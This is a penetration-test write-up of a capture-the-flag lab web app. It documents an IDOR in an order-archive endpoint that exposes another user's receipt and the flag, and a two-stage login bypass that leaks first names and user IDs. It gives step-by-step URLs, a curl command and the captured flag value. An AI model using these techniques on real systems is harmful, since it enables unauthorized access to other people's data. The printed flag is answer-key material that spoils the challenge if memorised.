# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal Authorization Bypass via IDOR in Order Archive Endpoint

**Summary:**
- **Vulnerable location:** `GET /order/<order_id>/archive` (routes.py:135)
- **Overview:** Missing ownership validation allows any authenticated user to archive any order by manipulating the order_id parameter, thereby gaining unauthorized access to order receipts including the CTF flag
- **Impact:** Complete bypass of horizontal authorization controls; unauthorized access to sensitive financial transaction data belonging to other users; CTF flag capture from order 300198
- **Severity:** Critical

**Prerequisites:**
- Valid authentication credentials (any authenticated user account)
- Knowledge of target order ID (enumerable through sequential iteration)
- Target application accessible at: http://localhost:36493

**Exploitation Steps:**

1. **Authenticate as any valid user**
   ```
   Navigate to: http://localhost:36493
   Enter username: test
   Click "Login" button
   Enter password: test
   Click "Login" button
   ```
   Expected result: Successful authentication, redirected to /dashboard

2. **Execute IDOR attack by directly accessing the archive endpoint for order 300198**
   ```
   Navigate to: http://localhost:36493/order/300198/archive
   ```
   Expected result: Application sets current user as the archiver of order 300198 without validating ownership
   
   Technical details:
   - The vulnerable code at routes.py:135 performs: `Order.query.filter(Order.id == order_id).first_or_404()`
   - Missing authorization check that should validate: `Order.creator == current_user`
   - The application sets `order.archiver = current_user` and `order.archived = True` without ownership validation

3. **Verify successful privilege escalation by viewing archived orders**
   ```
   Navigate to: http://localhost:36493/orders_archive
   ```
   Expected result: Order 300198 (ticker "FLAG", date 05/16/2024, SELL 1 @ $1) appears in the archived orders list

4. **Access the order receipt to retrieve unauthorized data (CTF flag)**
   ```
   On the /orders_archive page:
   Click the "Receipt" link for the FLAG order (order ID 300198)
   ```
   Expected result: Receipt modal displays with Order ID 300198 and the CTF flag

**Proof of Impact:**

Successfully captured CTF flag through unauthorized access:
```
Order ID: 300198
Flag: FLAG{7ef0f69d288b3bb79dd210f4b4bc3b26a1d8c3d615294a2ee6cc3a81c2c5b7fa}
```

**Evidence of Complete Authorization Bypass:**
- Authenticated as user "test" (user_id: 10032)
- Order 300198 was NOT created by user "test" (creator_fk is NULL, indicating system-generated order)
- Successfully became the archiver of order 300198 without ownership validation
- Gained authorized access to the receipt endpoint through the dual ownership check: `or_(Order.creator == user, Order.archiver == user)`
- Retrieved sensitive financial transaction data and CTF flag from another user's order

**Notes:**
This vulnerability demonstrates a complete horizontal authorization bypass. The receipt endpoint itself (routes.py:102) correctly validates that the requesting user is either the creator OR archiver of the order. However, the archiver status can be illegitimately obtained through the IDOR vulnerability in the archive endpoint (routes.py:135), which performs no ownership check before setting the archiver field. This creates an attack chain where proper authorization on one endpoint is circumvented by exploiting missing authorization on a related endpoint.

---

### AUTHZ-VULN-02: Context/Workflow Authorization Bypass in Two-Stage Login Flow

**Summary:**
- **Vulnerable location:** `GET /password/<username>` (routes.py:45-66)
- **Overview:** Missing workflow state validation allows direct access to Stage 2 of the authentication flow without completing Stage 1, resulting in information disclosure of user's first name and internal user ID
- **Impact:** User enumeration, information disclosure (PII), bypasses intended two-stage authentication workflow
- **Severity:** High

**Prerequisites:**
- No authentication required (unauthenticated attack)
- Knowledge of valid usernames (can be obtained through username enumeration at the login endpoint)
- Target application accessible at: http://localhost:36493

**Exploitation Steps:**

1. **Ensure unauthenticated state**
   ```
   If logged in, navigate to: http://localhost:36493
   Click "Logout" button
   ```
   Expected result: Logged out, returned to login page

2. **Directly access the password verification endpoint, bypassing Stage 1**
   ```
   Navigate directly to: http://localhost:36493/password/test
   (Replace "test" with any valid username to enumerate)
   ```
   Expected result: Application displays password entry form without validating that Stage 1 was completed

3. **Extract disclosed information from the page**
   ```
   Observe the page content:
   - Displayed text: "Welcome, [FirstName]!" reveals user's first name
   - View page source or inspect DOM:
   - Hidden input field: <input type="text" name="user_id" value="[USER_ID]" hidden>
   ```

**Proof of Impact:**

Successfully bypassed workflow validation and obtained user information without authentication:

**For username "test":**
- First Name: John
- Internal User ID: 10032
- Obtained without completing Stage 1 (username verification)
- Obtained without any authentication

**Exploitation Command Sequence:**
```bash
# Direct unauthenticated access to password page
curl -v http://localhost:36493/password/test

# Extract first name from response:
# Look for: <p>Welcome, John!</p>

# Extract user_id from hidden field:
# Look for: <input type="text" name="user_id" value="10032" hidden>
```

**Evidence of Workflow Bypass:**
- The intended authentication workflow requires users to:
  1. Submit username at `POST /` (Stage 1)
  2. Get redirected to `/password/<username>` (Stage 2)
  3. Submit password
- No session marker, nonce, or token is set during Stage 1 to validate proper workflow progression
- Stage 2 can be accessed directly via `GET /password/<username>` without completing Stage 1
- The vulnerability exists at routes.py:45-66, where the password endpoint has no validation that the user progressed through Stage 1

**Technical Details:**
The vulnerable code at routes.py:47 performs:
```python
user = User.query.filter_by(username=username).first()
```
This query retrieves user information based solely on the username in the URL path parameter, with no validation that:
- The user completed Stage 1 (username verification)
- Any session state exists
- A workflow token or nonce was provided

The template (password.html:26) then renders:
```html
<p>Welcome, {{ user.first_name }}!</p>
```
And exposes the user_id in a hidden field (password.html:29):
```html
<input type="text" name="user_id" value="{{ user.id }}" hidden>
```

**Notes:**
This vulnerability allows attackers to enumerate valid usernames and collect PII (first names and internal user IDs) without any authentication. The two-stage login flow provides no security benefit as both stages are independently accessible. This violates the principle that workflow steps should validate prerequisite completion through state management (session tokens, nonces, or workflow tracking).

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 2
- 1 Critical (Horizontal IDOR with CTF flag capture)
- 1 High (Context/Workflow bypass with information disclosure)

**Key Findings:**
1. The application's authorization model relies on object ownership (creator/archiver relationships) rather than role-based access control
2. Missing ownership validation in the archive endpoint creates a complete horizontal authorization bypass
3. Lack of workflow state management allows circumvention of multi-step authentication processes
4. The dual-ownership model for receipt access (creator OR archiver) is exploitable when the archiver status can be illegitimately obtained

**Attack Surface Coverage:**
- All vulnerabilities from the exploitation queue have been successfully tested
- Both vulnerabilities were confirmed exploitable through the public network interface (http://localhost:36493)
- No internal network access, database console access, or server-side access was required